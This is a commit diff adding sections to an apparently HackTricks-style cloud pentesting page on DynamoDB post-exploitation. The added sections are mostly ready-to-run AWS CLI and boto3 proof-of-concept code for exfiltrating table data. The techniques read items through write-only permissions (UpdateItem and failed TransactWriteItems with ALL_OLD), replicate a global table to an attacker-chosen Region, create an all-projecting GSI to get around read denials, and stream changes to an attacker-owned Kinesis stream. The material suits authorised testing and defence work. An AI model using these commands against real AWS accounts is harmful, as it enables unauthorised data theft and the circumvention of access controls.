Skip to content

Commit 83663e4

Browse files
committed
dynamoDB attacks recheck
1 parent b5b72b0 commit 83663e4

File tree

1 file changed

+245
-1
lines changed

1 file changed

+245
-1
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

Lines changed: 245 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -346,8 +346,252 @@ aws dynamodbstreams get-records \
346346

347347
**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
348348

349-
{{#include ../../../banners/hacktricks-training.md}}
349+
### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
350+
351+
An attacker with only `dynamodb:UpdateItem` on a table can read items without any of the usual read permissions (`GetItem`/`Query`/`Scan`) by performing a benign update and requesting `--return-values ALL_OLD`. DynamoDB will return the full pre-update image of the item in the `Attributes` field of the response (this does not consume RCUs).
352+
353+
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
354+
- Prerequisites: You must know the item's primary key.
355+
356+
Example (adds a harmless attribute and exfiltrates the previous item in the response):
357+
358+
```bash
359+
aws dynamodb update-item \
360+
--table-name <TargetTable> \
361+
--key '{"<PKName>":{"S":"<PKValue>"}}' \
362+
--update-expression 'SET #m = :v' \
363+
--expression-attribute-names '{"#m":"exfil_marker"}' \
364+
--expression-attribute-values '{":v":{"S":"1"}}' \
365+
--return-values ALL_OLD \
366+
--region <region>
367+
```
368+
369+
The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.
370+
371+
**Potential Impact:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known.
372+
373+
374+
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
375+
376+
Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items.
377+
378+
{{#tabs }}
379+
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
380+
381+
```bash
382+
# Add a new replica Region (from primary Region)
383+
aws dynamodb update-table \
384+
--table-name <TableName> \
385+
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
386+
--region <primary-region>
387+
388+
# Wait until the replica table becomes ACTIVE in the replica Region
389+
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
390+
391+
# Exfiltrate by reading from the replica Region
392+
aws dynamodb scan --table-name <TableName> --region <replica-region>
393+
```
394+
395+
{{#endtab }}
396+
{{#tab name="PoC (customer-managed KMS)" }}
397+
398+
```bash
399+
# Specify the CMK to use in the replica Region
400+
aws dynamodb update-table \
401+
--table-name <TableName> \
402+
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
403+
--region <primary-region>
404+
```
405+
406+
{{#endtab }}
407+
{{#endtabs }}
408+
409+
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
410+
411+
Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
412+
413+
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
414+
415+
An attacker with transactional write privileges can exfiltrate the full attributes of an existing item by performing an `Update` inside `TransactWriteItems` that intentionally fails a `ConditionExpression` while setting `ReturnValuesOnConditionCheckFailure=ALL_OLD`. On failure, DynamoDB includes the prior attributes in the transaction cancellation reasons, effectively turning write-only access into read access of targeted keys.
416+
417+
{{#tabs }}
418+
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
419+
420+
```bash
421+
# Create the transaction input (list form for --transact-items)
422+
cat > /tmp/tx_items.json << 'JSON'
423+
[
424+
{
425+
"Update": {
426+
"TableName": "<TableName>",
427+
"Key": {"<PKName>": {"S": "<PKValue>"}},
428+
"UpdateExpression": "SET #m = :v",
429+
"ExpressionAttributeNames": {"#m": "marker"},
430+
"ExpressionAttributeValues": {":v": {"S": "x"}},
431+
"ConditionExpression": "attribute_not_exists(<PKName>)",
432+
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
433+
}
434+
}
435+
]
436+
JSON
437+
438+
# Execute. Newer AWS CLI versions support returning cancellation reasons
439+
aws dynamodb transact-write-items \
440+
--transact-items file:///tmp/tx_items.json \
441+
--region <region> \
442+
--return-cancellation-reasons
443+
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
444+
```
445+
446+
{{#endtab }}
447+
{{#tab name="PoC (boto3)" }}
448+
449+
```python
450+
import boto3
451+
c=boto3.client('dynamodb',region_name='<region>')
452+
try:
453+
c.transact_write_items(TransactItems=[{ 'Update': {
454+
'TableName':'<TableName>',
455+
'Key':{'<PKName>':{'S':'<PKValue>'}},
456+
'UpdateExpression':'SET #m = :v',
457+
'ExpressionAttributeNames':{'#m':'marker'},
458+
'ExpressionAttributeValues':{':v':{'S':'x'}},
459+
'ConditionExpression':'attribute_not_exists(<PKName>)',
460+
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
461+
except c.exceptions.TransactionCanceledException as e:
462+
print(e.response['CancellationReasons'][0]['Item'])
463+
```
464+
465+
{{#endtab }}
466+
{{#endtabs }}
467+
468+
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
469+
470+
Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.
471+
472+
473+
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
474+
475+
Bypass read restrictions by creating a Global Secondary Index (GSI) with `ProjectionType=ALL` on a low-entropy attribute, set that attribute to a constant value across items, then `Query` the index to retrieve full items. This works even if `Query`/`Scan` on the base table is denied, as long as you can query the index ARN.
476+
477+
- Minimum permissions:
478+
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
479+
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
480+
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
481+
482+
Steps (PoC in us-east-1):
483+
484+
```bash
485+
# 1) Create table and seed items (without the future GSI attribute)
486+
aws dynamodb create-table --table-name HTXIdx \
487+
--attribute-definitions AttributeName=id,AttributeType=S \
488+
--key-schema AttributeName=id,KeyType=HASH \
489+
--billing-mode PAY_PER_REQUEST --region us-east-1
490+
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
491+
for i in 1 2 3 4 5; do \
492+
aws dynamodb put-item --table-name HTXIdx \
493+
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
494+
--region us-east-1; done
495+
496+
# 2) Add GSI on attribute X with ProjectionType=ALL
497+
aws dynamodb update-table --table-name HTXIdx \
498+
--attribute-definitions AttributeName=X,AttributeType=S \
499+
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
500+
--region us-east-1
501+
# Wait for index to become ACTIVE
502+
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
503+
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
504+
505+
# 3) Set X="dump" for each item (only UpdateItem on known keys)
506+
for i in 1 2 3 4 5; do \
507+
aws dynamodb update-item --table-name HTXIdx \
508+
--key "{\"id\":{\"S\":\"$i\"}}" \
509+
--update-expression 'SET #x = :v' \
510+
--expression-attribute-names '{"#x":"X"}' \
511+
--expression-attribute-values '{":v":{"S":"dump"}}' \
512+
--region us-east-1; done
513+
514+
# 4) Query the index by the constant value to retrieve full items
515+
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
516+
--key-condition-expression '#x = :v' \
517+
--expression-attribute-names '{"#x":"X"}' \
518+
--expression-attribute-values '{":v":{"S":"dump"}}' \
519+
--region us-east-1
520+
```
521+
522+
**Potential Impact:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
523+
524+
525+
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
526+
527+
Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate changes from a table into an attacker-controlled Kinesis Data Stream. Once enabled, every INSERT/MODIFY/REMOVE event is forwarded near real-time to the stream without needing read permissions on the table.
528+
529+
Minimum permissions (attacker):
530+
- `dynamodb:EnableKinesisStreamingDestination` on the target table
531+
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
532+
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
533+
534+
<details>
535+
<summary>PoC (us-east-1)</summary>
536+
537+
```bash
538+
# 1) Prepare: create a table and seed one item
539+
aws dynamodb create-table --table-name HTXKStream \
540+
--attribute-definitions AttributeName=id,AttributeType=S \
541+
--key-schema AttributeName=id,KeyType=HASH \
542+
--billing-mode PAY_PER_REQUEST --region us-east-1
543+
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
544+
aws dynamodb put-item --table-name HTXKStream \
545+
--item file:///tmp/htx_item1.json --region us-east-1
546+
# /tmp/htx_item1.json
547+
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
548+
549+
# 2) Create attacker Kinesis Data Stream
550+
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
551+
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
552+
553+
# 3) Enable the DynamoDB -> Kinesis streaming destination
554+
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
555+
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
556+
aws dynamodb enable-kinesis-streaming-destination \
557+
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
558+
# Optionally wait until ACTIVE
559+
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
560+
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
561+
562+
# 4) Generate changes on the table
563+
aws dynamodb put-item --table-name HTXKStream \
564+
--item file:///tmp/htx_item2.json --region us-east-1
565+
# /tmp/htx_item2.json
566+
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
567+
aws dynamodb update-item --table-name HTXKStream \
568+
--key file:///tmp/htx_key_a1.json \
569+
--update-expression "SET #i = :v" \
570+
--expression-attribute-names {#i:info} \
571+
--expression-attribute-values {:v:{S:updated}} \
572+
--region us-east-1
573+
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
574+
575+
# 5) Consume from Kinesis to observe DynamoDB images
576+
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
577+
--query Shards[0].ShardId --output text)
578+
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
579+
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
580+
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
581+
# Decode one record (Data is base64-encoded)
582+
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
583+
584+
# 6) Cleanup (recommended)
585+
aws dynamodb disable-kinesis-streaming-destination \
586+
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
587+
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
588+
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
589+
```
590+
591+
</details>
350592

593+
**Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.
351594

352595

353596

597+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)